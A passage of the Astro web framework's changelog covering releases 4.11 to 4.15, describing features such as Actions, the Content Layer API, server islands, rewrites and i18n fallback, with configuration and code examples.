  • #​11968 86ad1fd Thanks @​NikolaRHristov! - Fixes a typo in the server island JSDoc

  • #​11983 633eeaa Thanks @​uwej711! - Remove dependency on path-to-regexp

v4.15.4

Compare Source

Patch Changes
  • #​11879 bd1d4aa Thanks @​matthewp! - Allow passing a cryptography key via ASTRO_KEY

    For Server islands Astro creates a cryptography key in order to hash props for the islands, preventing accidental leakage of secrets.

    If you deploy to an environment with rolling updates then there could be multiple instances of your app with different keys, causing potential key mismatches.

    To fix this you can now pass the ASTRO_KEY environment variable to your build in order to reuse the same key.

    To generate a key use:

    astro create-key
    

    This will print out an environment variable to set like:

    ASTRO_KEY=PIAuyPNn2aKU/bviapEuc/nVzdzZPizKNo3OqF/5PmQ=
    
  • #​11935 c58193a Thanks @​Princesseuh! - Fixes astro add not using the proper export point when adding certain adapters

v4.15.3

Compare Source

Patch Changes

v4.15.2

Compare Source

Patch Changes

v4.15.1

Compare Source

Patch Changes

v4.15.0

Compare Source

Minor Changes
  • #​11729 1c54e63 Thanks @​ematipico! - Adds a new variant sync for the astro:config:setup hook's command property. This value is set when calling the command astro sync.

    If your integration previously relied on knowing how many variants existed for the command property, you must update your logic to account for this new option.

  • #​11743 cce0894 Thanks @​ph1p! - Adds a new, optional property timeout for the client:idle directive.

    This value allows you to specify a maximum time to wait, in milliseconds, before hydrating a UI framework component, even if the page is not yet done with its initial load. This means you can delay hydration for lower-priority UI elements with more control to ensure your element is interactive within a specified time frame.

    <ShowHideButton client:idle={{ timeout: 500 }} />
    
  • #​11677 cb356a5 Thanks @​ematipico! - Adds a new option fallbackType to i18n.routing configuration that allows you to control how fallback pages are handled.

    When i18n.fallback is configured, this new routing option controls whether to redirect to the fallback page, or to rewrite the fallback page's content in place.

    The "redirect" option is the default value and matches the current behavior of the existing fallback system.

    The option "rewrite" uses the new rewriting system to create fallback pages that render content on the original, requested URL without a browser refresh.

    For example, the following configuration will generate a page /fr/index.html that will contain the same HTML rendered by the page /en/index.html when src/pages/fr/index.astro does not exist.

    // astro.config.mjs
    export default defineConfig({
      i18n: {
        locals: ['en', 'fr'],
        defaultLocale: 'en',
        routing: {
          prefixDefaultLocale: true,
          fallbackType: 'rewrite',
        },
        fallback: {
          fr: 'en',
        },
      },
    });
    
  • #​11708 62b0d20 Thanks @​martrapp! - Adds a new object swapFunctions to expose the necessary utility functions on astro:transitions/client that allow you to build custom swap functions to be used with view transitions.

    The example below uses these functions to replace Astro's built-in default swap function with one that only swaps the <main> part of the page:

    <script>
      import { swapFunctions } from 'astro:transitions/client';
    
      document.addEventListener('astro:before-swap', (e) => { e.swap = () => swapMainOnly(e.newDocument) });
    
      function swapMainOnly(doc: Document) {
        swapFunctions.deselectScripts(doc);
        swapFunctions.swapRootAttributes(doc);
        swapFunctions.swapHeadElements(doc);
        const restoreFocusFunction = swapFunctions.saveFocus();
        const newMain = doc.querySelector('main');
        const oldMain = document.querySelector('main');
        if (newMain && oldMain) {
          swapFunctions.swapBodyElement(newMain, oldMain);
        } else {
          swapFunctions.swapBodyElement(doc.body, document.body);
        }
        restoreFocusFunction();
      };
    </script>
    

    See the view transitions guide for more information about hooking into the astro:before-swap lifecycle event and adding a custom swap implementation.

  • #​11843 5b4070e Thanks @​bholmesdev! - Exposes z from the new astro:schema module. This is the new recommended import source for all Zod utilities when using Astro Actions.

Migration for Astro Actions users

`z` will no longer be exposed from `astro:actions`. To use `z` in your actions, import it from `astro:schema` instead:

```diff
import {
  defineAction,
-  z,
} from 'astro:actions';
+ import { z } from 'astro:schema';
```
  • #​11843 5b4070e Thanks @​bholmesdev! - The Astro Actions API introduced behind a flag in v4.8.0 is no longer experimental and is available for general use.

    Astro Actions allow you to define and call backend functions with type-safety, performing data fetching, JSON parsing, and input validation for you.

    Actions can be called from client-side components and HTML forms. This gives you to flexibility to build apps using any technology: React, Svelte, HTMX, or just plain Astro components. This example calls a newsletter action and renders the result using an Astro component:

    ---
    // src/pages/newsletter.astro
    import { actions } from 'astro:actions';
    const result = Astro.getActionResult(actions.newsletter);
    ---
    
    {result && !result.error && <p>Thanks for signing up!</p>}
    <form method="POST" action={actions.newsletter}>
      <input type="email" name="email" />
      <button>Sign up</button>
    </form>
    

    If you were previously using this feature, please remove the experimental flag from your Astro config:

    import { defineConfig } from 'astro'
    
    export default defineConfig({
    -  experimental: {
    -    actions: true,
    -  }
    })
    

    If you have been waiting for stabilization before using Actions, you can now do so.

    For more information and usage examples, see our brand new Actions guide.

Patch Changes
  • #​11677 cb356a5 Thanks @​ematipico! - Fixes a bug in the logic of Astro.rewrite() which led to the value for base, if configured, being automatically prepended to the rewrite URL passed. This was unintended behavior and has been corrected, and Astro now processes the URLs exactly as passed.

    If you use the rewrite() function on a project that has base configured, you must now prepend the base to your existing rewrite URL:

    // astro.config.mjs
    export default defineConfig({
      base: '/blog',
    });
    
    // src/middleware.js
    export function onRequest(ctx, next) {
    -  return ctx.rewrite("/about")
    +  return ctx.rewrite("/blog/about")
    }
    
  • #​11862 0e35afe Thanks @​ascorbic! - BREAKING CHANGE to experimental content layer loaders only!

    Passes AstroConfig instead of AstroSettings object to content layer loaders.

    This will not affect you unless you have created a loader that uses the settings object. If you have, you will need to update your loader to use the config object instead.

    export default function myLoader() {
      return {
        name: 'my-loader'
    -   async load({ settings }) {
    -     const base = settings.config.base;
    +   async load({ config }) {
    +     const base = config.base;
          // ...
        }
      }
    }
    
    

    Other properties of the settings object are private internals, and should not be accessed directly. If you think you need access to other properties, please open an issue to discuss your use case.

  • #​11772 6272e6c Thanks @​bluwy! - Uses magicast to update the config for astro add

  • #​11845 440a4be Thanks @​bluwy! - Replaces execa with tinyexec internally

  • #​11858 8bab233 Thanks @​ascorbic! - Correctly resolves content layer images when filePath is not set

v4.14.6

Compare Source

Patch Changes

v4.14.5

Compare Source

Patch Changes

v4.14.4

Compare Source

Patch Changes
  • #​11794 3691a62 Thanks @​bholmesdev! - Fixes unexpected warning log when using Actions on "hybrid" rendered projects.

  • #​11801 9f943c1 Thanks @​delucis! - Fixes a bug where the filePath property was not available on content collection entries when using the content layer file() loader with a JSON file that contained an object instead of an array. This was breaking use of the image() schema utility among other things.

v4.14.3

Compare Source

Patch Changes

v4.14.2

Compare Source

Patch Changes

v4.14.1

Compare Source

Patch Changes
  • #​11725 6c1560f Thanks @​ascorbic! - Prevents content layer importing node builtins in runtime

  • #​11692 35af73a Thanks @​matthewp! - Prevent errant HTML from crashing server islands

    When an HTML minifier strips away the server island comment, the script can't correctly know where the end of the fallback content is. This makes it so that it simply doesn't remove any DOM in that scenario. This means the fallback isn't removed, but it also doesn't crash the browser.

  • #​11727 3c2f93b Thanks @​florian-lefebvre! - Fixes a type issue when using the Content Layer in dev

v4.14.0

Compare Source

Minor Changes
  • #​11657 a23c69d Thanks @​bluwy! - Deprecates the option for route-generating files to export a dynamic value for prerender. Only static values are now supported (e.g. export const prerender = true or = false). This allows for better treeshaking and bundling configuration in the future.

    Adds a new "astro:route:setup" hook to the Integrations API to allow you to dynamically set options for a route at build or request time through an integration, such as enabling on-demand server rendering.

    To migrate from a dynamic export to the new hook, update or remove any dynamic prerender exports from individual routing files:

    // src/pages/blog/[slug].astro
    - export const prerender = import.meta.env.PRERENDER
    

    Instead, create an integration with the "astro:route:setup" hook and update the route's prerender option:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import { loadEnv } from 'vite';
    
    export default defineConfig({
      integrations: [setPrerender()],
    });
    
    function setPrerender() {
      const { PRERENDER } = loadEnv(process.env.NODE_ENV, process.cwd(), '');
    
      return {
        name: 'set-prerender',
        hooks: {
          'astro:route:setup': ({ route }) => {
            if (route.component.endsWith('/blog/[slug].astro')) {
              route.prerender = PRERENDER;
            }
          },
        },
      };
    }
    
  • #​11360 a79a8b0 Thanks @​ascorbic! - Adds a new injectTypes() utility to the Integration API and refactors how type generation works

    Use injectTypes() in the astro:config:done hook to inject types into your user's project by adding a new a *.d.ts file.

    The filename property will be used to generate a file at /.astro/integrations/<normalized_integration_name>/<normalized_filename>.d.ts and must end with ".d.ts".

    The content property will create the body of the file, and must be valid TypeScript.

    Additionally, injectTypes() returns a URL to the normalized path so you can overwrite its content later on, or manipulate it in any way you want.

    // my-integration/index.js
    export default {
      name: 'my-integration',
      'astro:config:done': ({ injectTypes }) => {
        injectTypes({
          filename: 'types.d.ts',
          content: "declare module 'virtual:my-integration' {}",
        });
      },
    };
    

    Codegen has been refactored. Although src/env.d.ts will continue to work as is, we recommend you update it:

    - /// <reference types="astro/client" />
    + /// <reference path="../.astro/types.d.ts" />
    - /// <reference path="../.astro/env.d.ts" />
    - /// <reference path="../.astro/actions.d.ts" />
    
  • #​11605 d3d99fb Thanks @​jcayzac! - Adds a new property meta to Astro's built-in <Code /> component.

    This allows you to provide a value for Shiki's meta attribute to pass options to transformers.

    The following example passes an option to highlight lines 1 and 3 to Shiki's tranformerMetaHighlight:

    ---
    // src/components/Card.astro
    import { Code } from 'astro:components';
    import { transformerMetaHighlight } from '@&#8203;shikijs/transformers';
    ---
    
    <Code code={code} lang="js" transformers={[transformerMetaHighlight()]} meta="{1,3}" />
    
  • #​11360 a79a8b0 Thanks @​ascorbic! - Adds support for Intellisense features (e.g. code completion, quick hints) for your content collection entries in compatible editors under the experimental.contentIntellisense flag.

    import { defineConfig } from 'astro';
    
    export default defineConfig({
      experimental: {
        contentIntellisense: true,
      },
    });
    

    When enabled, this feature will generate and add JSON schemas to the .astro directory in your project. These files can be used by the Astro language server to provide Intellisense inside content files (.md, .mdx, .mdoc).

    Note that at this time, this also require enabling the astro.content-intellisense option in your editor, or passing the contentIntellisense: true initialization parameter to the Astro language server for editors using it directly.

    See the experimental content Intellisense docs for more information updates as this feature develops.

  • #​11360 a79a8b0 Thanks @​ascorbic! - Adds experimental support for the Content Layer API.

    The new Content Layer API builds upon content collections, taking them beyond local files in src/content/ and allowing you to fetch content from anywhere, including remote APIs. These new collections work alongside your existing content collections, and you can migrate them to the new API at your own pace. There are significant improvements to performance with large collections of local files.

Getting started
To try out the new Content Layer API, enable it in your Astro config:

```js
import { defineConfig } from 'astro';

export default defineConfig({
  experimental: {
    contentLayer: true,
  },
});
```

You can then create collections in your `src/content/config.ts` using the Content Layer API.
Loading your content
The core of the new Content Layer API is the loader, a function that fetches content from a source and caches it in a local data store. Astro 4.14 ships with built-in `glob()` and `file()` loaders to handle your local Markdown, MDX, Markdoc, and JSON files:

```ts {3,7}
// src/content/config.ts
import { defineCollection, z } from 'astro:content';
import { glob } from 'astro/loaders';

const blog = defineCollection({
  // The ID is a slug generated from the path of the file relative to `base`
  loader: glob({ pattern: '**/*.md', base: './src/data/blog' }),
  schema: z.object({
    title: z.string(),
    description: z.string(),
    publishDate: z.coerce.date(),
  }),
});

export const collections = { blog };
```

You can then query using the existing content collections functions, and enjoy a simplified `render()` function to display your content:

```astro
---
import { getEntry, render } from 'astro:content';

const post = await getEntry('blog', Astro.params.slug);

const { Content } = await render(entry);
---

<Content />
```
Creating a loader
You're not restricted to the built-in loaders – we hope you'll try building your own. You can fetch content from anywhere and return an array of entries:

```ts
// src/content/config.ts
const countries = defineCollection({
  loader: async () => {
    const response = await fetch('https://restcountries.com/v3.1/all');
    const data = await response.json();
    // Must return an array of entries with an id property,
    // or an object with IDs as keys and entries as values
    return data.map((country) => ({
      id: country.cca3,
      ...country,
    }));
  },
  // optionally add a schema to validate the data and make it type-safe for users
  // schema: z.object...
});

export const collections = { countries };
```

For more advanced loading logic, you can define an object loader. This allows incremental updates and conditional loading, and gives full access to the data store. It also allows a loader to define its own schema, including generating it dynamically based on the source API. See the [the Content Layer API RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0047-content-layer.md#loaders) for more details.
Sharing your loaders
Loaders are better when they're shared. You can create a package that exports a loader and publish it to npm, and then anyone can use it on their site. We're excited to see what the community comes up with! To get started, [take a look at some examples](https://github.com/ascorbic/astro-loaders/). Here's how to load content using an RSS/Atom feed loader:

```ts
// src/content/config.ts
import { defineCollection } from 'astro:content';
import { feedLoader } from '@&#8203;ascorbic/feed-loader';

const podcasts = defineCollection({
  loader: feedLoader({
    url: 'https://feeds.99percentinvisible.org/99percentinvisible',
  }),
});

export const collections = { podcasts };
```
Learn more
To find out more about using the Content Layer API, check out [the Content Layer RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0047-content-layer.md) and [share your feedback](https://github.com/withastro/roadmap/pull/982).
Patch Changes

v4.13.4

Compare Source

Patch Changes

v4.13.3

Compare Source

Patch Changes
  • #​11653 32be549 Thanks @​florian-lefebvre! - Updates astro:env docs to reflect current developments and usage guidance

  • #​11658 13b912a Thanks @​bholmesdev! - Fixes orThrow() type when calling an Action without an input validator.

  • #​11603 f31d466 Thanks @​bholmesdev! - Improves user experience when render an Action result from a form POST request:

    • Removes "Confirm post resubmission?" dialog when refreshing a result.
    • Removes the ?_astroAction=NAME flag when a result is rendered.

    Also improves the DX of directing to a new route on success. Actions will now redirect to the route specified in your action string on success, and redirect back to the previous page on error. This follows the routing convention of established backend frameworks like Laravel.

    For example, say you want to redirect to a /success route when actions.signup succeeds. You can add /success to your action string like so:

    <form method="POST" action={'/success' + actions.signup}></form>
    
    • On success, Astro will redirect to /success.
    • On error, Astro will redirect back to the current page.

    You can retrieve the action result from either page using the Astro.getActionResult() function.

Note on security
This uses a temporary cookie to forward the action result to the next page. The cookie will be deleted when that page is rendered.

⚠ **The action result is not encrypted.** In general, we recommend returning minimal data from an action handler to a) avoid leaking sensitive information, and b) avoid unexpected render issues once the temporary cookie is deleted. For example, a `login` function may return a user's session id to retrieve from your Astro frontmatter, rather than the entire user object.

v4.13.2

Compare Source

Patch Changes

v4.13.1

Compare Source

Patch Changes
  • #​11584 a65ffe3 Thanks @​bholmesdev! - Removes async local storage dependency from Astro Actions. This allows Actions to run in Cloudflare and Stackblitz without opt-in flags or other configuration.

    This also introduces a new convention for calling actions from server code. Instead of calling actions directly, you must wrap function calls with the new Astro.callAction() utility.

    callAction() is meant to trigger an action from server code. getActionResult() usage with form submissions remains unchanged.

    ---
    import { actions } from 'astro:actions';
    
    const result = await Astro.callAction(actions.searchPosts, {
      searchTerm: Astro.url.searchParams.get('search'),
    });
    ---
    
    {
      result.data &&
        {
          /* render the results */
        }
    }
    

Migration

If you call actions directly from server code, update function calls to use the `Astro.callAction()` wrapper for pages and `context.callAction()` for endpoints:

```diff
---
import { actions } from 'astro:actions';

- const result = await actions.searchPosts({ searchTerm: 'test' });
+ const result = await Astro.callAction(actions.searchPosts, { searchTerm: 'test' });
---
```

If you deploy with Cloudflare and added [the `nodejs_compat` or `nodejs_als` flags](https://developers.cloudflare.com/workers/runtime-apis/nodejs) for Actions, we recommend removing these:

```diff
compatibility_flags = [
- "nodejs_compat",
- "nodejs_als"
]
```

You can also remove `node:async_hooks` from the `vite.ssr.external` option in your `astro.config` file:

```diff
// astro.config.mjs
import { defineConfig } from 'astro/config';

export default defineConfig({
- vite: {
-   ssr: {
-     external: ["node:async_hooks"]
-   }
- }
})
```

v4.13.0

Compare Source

Minor Changes
  • #​11507 a62345f Thanks @​ematipico! - Adds color-coding to the console output during the build to highlight slow pages.

    Pages that take more than 500 milliseconds to render will have their build time logged in red. This change can help you discover pages of your site that are not performant and may need attention.

  • #​11379 e5e2d3e Thanks @​alexanderniebuhr! - The experimental.contentCollectionJsonSchema feature introduced behind a flag in v4.5.0 is no longer experimental and is available for general use.

    If you are working with collections of type data, Astro will now auto-generate JSON schema files for your editor to get IntelliSense and type-checking. A separate file will be created for each data collection in your project based on your collections defined in src/content/config.ts using a library called zod-to-json-schema.

    This feature requires you to manually set your schema's file path as the value for $schema in each data entry file of the collection:

    {
      "$schema": "../../../.astro/collections/authors.schema.json",
      "name": "Armand",
      "skills": ["Astro", "Starlight"]
    }
    

    Alternatively, you can set this value in your editor settings. For example, to set this value in VSCode's json.schemas setting, provide the path of files to match and the location of your JSON schema:

    {
      "json.schemas": [
        {
          "fileMatch": ["/src/content/authors/**"],
          "url": "./.astro/collections/authors.schema.json"
        }
      ]
    }
    

    If you were previously using this feature, please remove the experimental flag from your Astro config:

    import { defineConfig } from 'astro'
    
    export default defineConfig({
    -  experimental: {
    -    contentCollectionJsonSchema: true
    -  }
    })
    

    If you have been waiting for stabilization before using JSON Schema generation for content collections, you can now do so.

    Please see the content collections guide for more about this feature.

  • #​11542 45ad326 Thanks @​ematipico! - The experimental.rewriting feature introduced behind a flag in v4.8.0 is no longer experimental and is available for general use.

    Astro.rewrite() and context.rewrite() allow you to render a different page without changing the URL in the browser. Unlike using a redirect, your visitor is kept on the original page they visited.

    Rewrites can be useful for showing the same content at multiple paths (e.g. /products/shoes/men/ and /products/men/shoes/) without needing to maintain two identical source files.

    Rewrites are supported in Astro pages, endpoints, and middleware.

    Return Astro.rewrite() in the frontmatter of a .astro page component to display a different page's content, such as fallback localized content:

    ---
    // src/pages/es-cu/articles/introduction.astro 
    return Astro.rewrite("/es/articles/introduction")
    ---
    

    Use context.rewrite() in endpoints, for example to reroute to a different page:

    // src/pages/api.js
    export function GET(context) {
      if (!context.locals.allowed) {
        return context.rewrite('/');
      }
    }
    

    The middleware next() function now accepts a parameter with the same type as the rewrite() function. For example, with next("/"), you can call the next middleware function with a new Request.

    // src/middleware.js
    export function onRequest(context, next) {
      if (!context.cookies.get('allowed')) {
        return next('/'); // new signature
      }
      return next();
    }
    

    If you were previously using this feature, please remove the experimental flag from your Astro config:

    // astro.config.mjs
    export default defineConfig({
    -  experimental: {
    -    rewriting: true
    -  }
    })
    

    If you have been waiting for stabilization before using rewrites in Astro, you can now do so.

    Please see the routing guide in docs for more about using this feature.

v4.12.3

Compare Source

Patch Changes
  • #​11509 dfbca06 Thanks @​bluwy! - Excludes hoisted scripts and styles from Astro components imported with ?url or ?raw

  • #​11561 904f1e5 Thanks @​ArmandPhilippot! - Uses the correct pageSize default in page.size JSDoc comment

  • #​11571 1c3265a Thanks @​bholmesdev! - BREAKING CHANGE to the experimental Actions API only. Install the latest @astrojs/react integration as well if you're using React 19 features.

    Make .safe() the default return value for actions. This means { data, error } will be returned when calling an action directly. If you prefer to get the data while allowing errors to throw, chain the .orThrow() modifier.

    import { actions } from 'astro:actions';
    
    // Before
    const { data, error } = await actions.like.safe();
    // After
    const { data, error } = await actions.like();
    
    // Before
    const newLikes = await actions.like();
    // After
    const newLikes = await actions.like.orThrow();
    

Migration

To migrate your existing action calls:

-   Remove `.safe` from existing _safe_ action calls
-   Add `.orThrow` to existing _unsafe_ action calls
  • #​11546 7f26de9 Thanks @​ArmandPhilippot! - Remove "SSR Only" mention in Astro.redirect inline documentation and update reference link.

  • #​11525 8068131 Thanks @​ematipico! - Fixes a case where the build was failing when experimental.actions was enabled, an adapter was in use, and there were not actions inside the user code base.

  • #​11574 e3f29d4 Thanks @​Princesseuh! - Fixes line with the error not being properly highlighted in the error overlay

  • #​11570 84189b6 Thanks @​bholmesdev! - BREAKING CHANGE to the experimental Actions API only. Install the latest @astrojs/react integration as well if you're using React 19 features.

    Updates the Astro Actions fallback to support action={actions.name} instead of using getActionProps(). This will submit a form to the server in zero-JS scenarios using a search parameter:

    ---
    import { actions } from 'astro:actions';
    ---
    
    <form action={actions.logOut}>
      <!--output: action="?_astroAction=logOut"-->
      <button>Log Out</button>
    </form>
    

    You may also construct form action URLs using string concatenation, or by using the URL() constructor, with the an action's .queryString property:

    ---
    import { actions } from 'astro:actions';
    
    const confirmationUrl = new URL('/confirmation', Astro.url);
    confirmationUrl.search = actions.queryString;
    ---
    
    <form method="POST" action={confirmationUrl.pathname}>
      <button>Submit</button>
    </form>
    

Migration

`getActionProps()` is now deprecated. To use the new fallback pattern, remove the `getActionProps()` input from your form and pass your action function to the form `action` attribute:

```diff
---
import {
  actions,
- getActionProps,
} from 'astro:actions';
---

+ <form method="POST" action={actions.logOut}>
- <form method="POST">
- <input {...getActionProps(actions.logOut)} />
  <button>Log Out</button>
</form>
```

v4.12.2

Compare Source

Patch Changes
  • #​11505 8ff7658 Thanks @​ematipico! - Enhances the dev server logging when rewrites occur during the lifecycle or rendering.

    The dev server will log the status code before and after a rewrite:

    08:16:48 [404] (rewrite) /foo/about 200ms
    08:22:13 [200] (rewrite) /about 23ms
    
  • #​11506 026e8ba Thanks @​sarah11918! - Fixes typo in documenting the slot="fallback" attribute for Server Islands experimental feature.

  • #​11508 ca335e1 Thanks @​cramforce! - Escapes HTML in serialized props

  • #​11501 4db78ae Thanks @​martrapp! - Adds the missing export for accessing the getFallback() function of the client site router.

v4.12.1

Compare Source

Patch Changes
  • #​11486 9c0c849 Thanks @​ematipico! - Adds a new function called addClientRenderer to the Container API.

    This function should be used when rendering components using the client:* directives. The addClientRenderer API must be used
    after the use of the addServerRenderer:

    const container = await experimental_AstroContainer.create();
    container.addServerRenderer({ renderer });
    container.addClientRenderer({ name: '@&#8203;astrojs/react', entrypoint: '@&#8203;astrojs/react/client.js' });
    const response = await container.renderToResponse(Component);
    
  • #​11500 4e142d3 Thanks @​Princesseuh! - Fixes inferRemoteSize type not working

  • #​11496 53ccd20 Thanks @​alfawal! - Hide the dev toolbar on window.print() (CTRL + P)

v4.12.0

Compare Source

Minor Changes
  • #​11341 49b5145 Thanks @​madcampos! - Adds support for Shiki's defaultColor option.

    This option allows you to override the values of a theme's inline style, adding only CSS variables to give you more flexibility in applying multiple color themes.

    Configure defaultColor: false in your Shiki config to apply throughout your site, or pass to Astro's built-in <Code> component to style an individual code block.

    import { defineConfig } from 'astro/config';
    export default defineConfig({
      markdown: {
        shikiConfig: {
          themes: {
            light: 'github-light',
            dark: 'github-dark',
          },
          defaultColor: false,
        },
      },
    });
    
    ---
    import { Code } from 'astro:components';
    ---
    
    <Code code={`const useMyColors = true`} lang="js" defaultColor={false} />
    
  • #​11304 2e70741 Thanks @​Fryuni! - Refactors the type for integration hooks so that integration authors writing custom integration hooks can now allow runtime interactions between their integration and other integrations.

    This internal change should not break existing code for integration authors.

    To declare your own hooks for your integration, extend the Astro.IntegrationHooks interface:

    // your-integration/types.ts
    declare global {
      namespace Astro {
        interface IntegrationHooks {
          'myLib:eventHappened': (your: string, parameters: number) => Promise<void>;
        }
      }
    }
    

    Call your hooks on all other integrations installed in a project at the appropriate time. For example, you can call your hook on initialization before either the Vite or Astro config have resolved:

    // your-integration/index.ts
    import './types.ts';
    
    export default (): AstroIntegration => {
      return {
        name: 'your-integration',
        hooks: {
          'astro:config:setup': async ({ config }) => {
            for (const integration of config.integrations) {
              await integration.hooks['myLib:eventHappened'].?('your values', 123);
            }
          },
        }
      }
    }
    

    Other integrations can also now declare your hooks:

    // other-integration/index.ts
    import 'your-integration/types.ts';
    
    export default (): AstroIntegration => {
      return {
        name: 'other-integration',
        hooks: {
          'myLib:eventHappened': async (your, values) => {
            // ...
          },
        },
      };
    };
    
  • #​11305 d495df5 Thanks @​matthewp! - Experimental Server Islands

    Server Islands allow you to specify components that should run on the server, allowing the rest of the page to be more aggressively cached, or even generated statically. Turn any .astro component into a server island by adding the server:defer directive and optionally, fallback placeholder content:

    ---
    import Avatar from '../components/Avatar.astro';
    import GenericUser from '../components/GenericUser.astro';
    ---
    
    <header>
      <h1>Page Title</h1>
      <div class="header-right">
        <Avatar server:defer>
          <GenericUser slot="fallback" />
        </Avatar>
      </div>
    </header>
    

    The server:defer directive can be used on any Astro component in a project using hybrid or server mode with an adapter. There are no special APIs needed inside of the island.

    Enable server islands by adding the experimental flag to your Astro config with an appropriate output mode and adatper:

    import { defineConfig } from 'astro/config';
    import netlify from '@&#8203;astrojs/netlify';
    
    export default defineConfig({
      output: 'hybrid',
      adapter: netlify(),
      experimental {
        serverIslands: true,
      },
    });
    

    For more information, see the server islands documentation.

  • #​11482 7c9ed71 Thanks @​Princesseuh! - Adds a --noSync parameter to the astro check command to skip the type-gen step. This can be useful when running astro check inside packages that have Astro components, but are not Astro projects

  • #​11098 36e30a3 Thanks @​itsmatteomanf! - Adds a new inferRemoteSize() function that can be used to infer the dimensions of a remote image.

    Previously, the ability to infer these values was only available by adding the [inferSize] attribute to the <Image> and <Picture> components or getImage(). Now, you can also access this data outside of these components.

    This is useful for when you need to know the dimensions of an image for styling purposes or to calculate different densities for responsive images.

    ---
    import { inferRemoteSize, Image } from 'astro:assets';
    
    const imageUrl = 'https://...';
    const { width, height } = await inferRemoteSize(imageUrl);
    ---
    
    <Image src={imageUrl} width={width / 2} height={height} densities={[1.5, 2]} />
    
  • #​11391 6f9b527 Thanks @​ARipeAppleByYoursTruly! - Adds Shiki's defaultColor option to the <Code /> component, giving you more control in applying multiple themes

  • #​11176 a751458 Thanks @​tsawada! - Adds two new values to the pagination page prop: page.first and page.last for accessing the URLs of the first and last pages.

Patch Changes

v4.11.6

Compare Source

Patch Changes
  • #​11459 bc2e74d Thanks @​mingjunlu! - Fixes false positive audit warnings on elements with the role "tabpanel".

  • #​11472 cb4e6d0 Thanks @​delucis! - Avoids targeting all files in the src/ directory for eager optimization by Vite. After this change, only JSX, Vue, Svelte, and Astro components get scanned for early optimization.

  • #​11387 b498461 Thanks @​bluwy! - Fixes prerendering not removing unused dynamic imported chunks

  • #​11437 6ccb30e Thanks @​NuroDev! - Fixes a case where Astro's config experimental.env.schema keys did not allow numbers. Numbers are still not allowed as the first character to be able to generate valid JavaScript identifiers

  • #​11439 08baf56 Thanks @​bholmesdev! - Expands the isInputError() utility from astro:actions to accept errors of any type. This should now allow type narrowing from a try / catch block.

    // example.ts
    import { actions, isInputError } from 'astro:actions';
    
    try {
      await actions.like(new FormData());
    } catch (error) {
      if (isInputError(error)) {
        console.log(error.fields);
      }
    }
    
  • #​11452 0e66849 Thanks @​FugiTech! - Fixes an issue where using .nullish() in a formdata Astro action would always parse as a string

  • #​11438 619f07d Thanks @​bholmesdev! - Exposes utility types from astro:actions for the defineAction handler (ActionHandler) and the ActionError code (ActionErrorCode).

  • #​11456 17e048d Thanks @​RickyC0626! - Fixes astro dev --open unexpected behavior that spawns a new tab every time a config file is saved

  • #​11337 0a4b31f Thanks @​florian-lefebvre! - Adds a new property experimental.env.validateSecrets to allow validating private variables on the server.

    By default, this is set to false and only public variables are checked on start. If enabled, secrets will also be checked on start (dev/build modes). This is useful for example in some CIs to make sure all your secrets are correctly set before deploying.

    // astro.config.mjs
    import { defineConfig, envField } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        env: {
          schema: {
            // ...
          },
          validateSecrets: true,
        },
      },
    });
    
  • #​11443 ea4bc04 Thanks @​bholmesdev! - Expose new ActionReturnType utility from astro:actions. This infers the return type of an action by passing typeof actions.name as a type argument. This example defines a like action that returns likes as an object:

    // actions/index.ts
    import { defineAction } from 'astro:actions';
    
    export const server = {
      like: defineAction({
        handler: () => {
          /* ... */
          return { likes: 42 };
        },
      }),
    };
    

    In your client code, you can infer this handler return value with ActionReturnType:

    // client.ts
    import { actions, ActionReturnType } from 'astro:actions';
    
    type LikesResult = ActionReturnType<typeof actions.like>;
    // -> { likes: number }
    
  • #​11436 7dca68f Thanks @​bholmesdev! - Fixes astro:actions autocompletion for the defineAction accept property

  • #​11455 645e128 Thanks @​florian-lefebvre! - Improves astro:env invalid variables errors

v4.11.5

Compare Source

Patch Changes

v4.11.4

Compare Source

Patch Changes

v4.11.3

Compare Source

Patch Changes

v4.11.2

Compare Source

Patch Changes
  • #​11335 4c4741b Thanks @​ematipico! - Reverts #​11292, which caused a regression to the input type

  • #​11326 41121fb Thanks @​florian-lefebvre! - Fixes a case where running astro sync when using the experimental astro:env feature would fail if environment variables were missing

  • #​11338 9752a0b Thanks @​zaaakher! - Fixes svg icon margin in devtool tooltip title to look coherent in rtl and ltr layouts

  • #​11331 f1b78a4 Thanks @​bluwy! - Removes resolve package and simplify internal resolve check

  • #​11339 8fdbf0e Thanks @​matthewp! - Remove non-fatal errors from telemetry

    Previously we tracked non-fatal errors in telemetry to get a good idea of the types of errors that occur in astro dev. However this has become noisy over time and results in a lot of data that isn't particularly useful. This removes those non-fatal errors from being tracked.

v4.11.1

Compare Source

Patch Changes

v4.11.0

Compare Source

Minor Changes
  • #​11197 4b46bd9 Thanks @​braebo! - Adds ShikiTransformer support to the <Code /> component with a new transformers prop.

    Note that transformers only applies classes and you must provide your own CSS rules to target the elements of your code block.

    ---
    import { transformerNotationFocus } from '@&#8203;shikijs/transformers';
    import { Code } from 'astro:components';
    
    const code = `const foo = 'hello'
    const bar = ' world'
    console.log(foo + bar) // [!code focus]
    `;
    ---
    
    <Code {code} lang="js" transformers={[transformerNotationFocus()]} />
    
    <style is:global>
      pre.has-focused .line:not(.focused) {
        filter: blur(1px);
      }
    </style>
    
  • #​11134 9042be0 Thanks @​florian-lefebvre! - Improves the developer experience of the 500.astro file by passing it a new error prop.

    When an error is thrown, the special src/pages/500.astro page now automatically receives the error as a prop. This allows you to display more specific information about the error on a custom 500 page.

    ---
    // src/pages/500.astro
    interface Props {
      error: unknown;
    }
    
    const { error } = Astro.props;
    ---
    
    <div>{error instanceof Error ? error.message : 'Unknown error'}</div>
    

    If an error occurs rendering this page, your host's default 500 error page will be shown to your visitor in production, and Astro's default error overlay will be shown in development.

Patch Changes
  • #​11280 fd3645f Thanks @​ascorbic! - Fixes a bug that prevented cookies from being set when using experimental rewrites

  • #​11275 bab700d Thanks @​syhily! - Drop duplicated brackets in data collections schema generation.

  • #​11272 ea987d7 Thanks @​ematipico! - Fixes a case where rewriting / would cause an issue, when trailingSlash was set to "never".

  • #​11272 ea987d7 Thanks @​ematipico! - Reverts a logic where it wasn't possible to rewrite /404 in static mode. It's now possible again

  • #​11264 5a9c9a6 Thanks @​Fryuni! - Fixes type generation for empty content collections

  • #​11279 9a08d74 Thanks @​ascorbic! - Improves type-checking and error handling to catch case where an image import is passed directly to getImage()

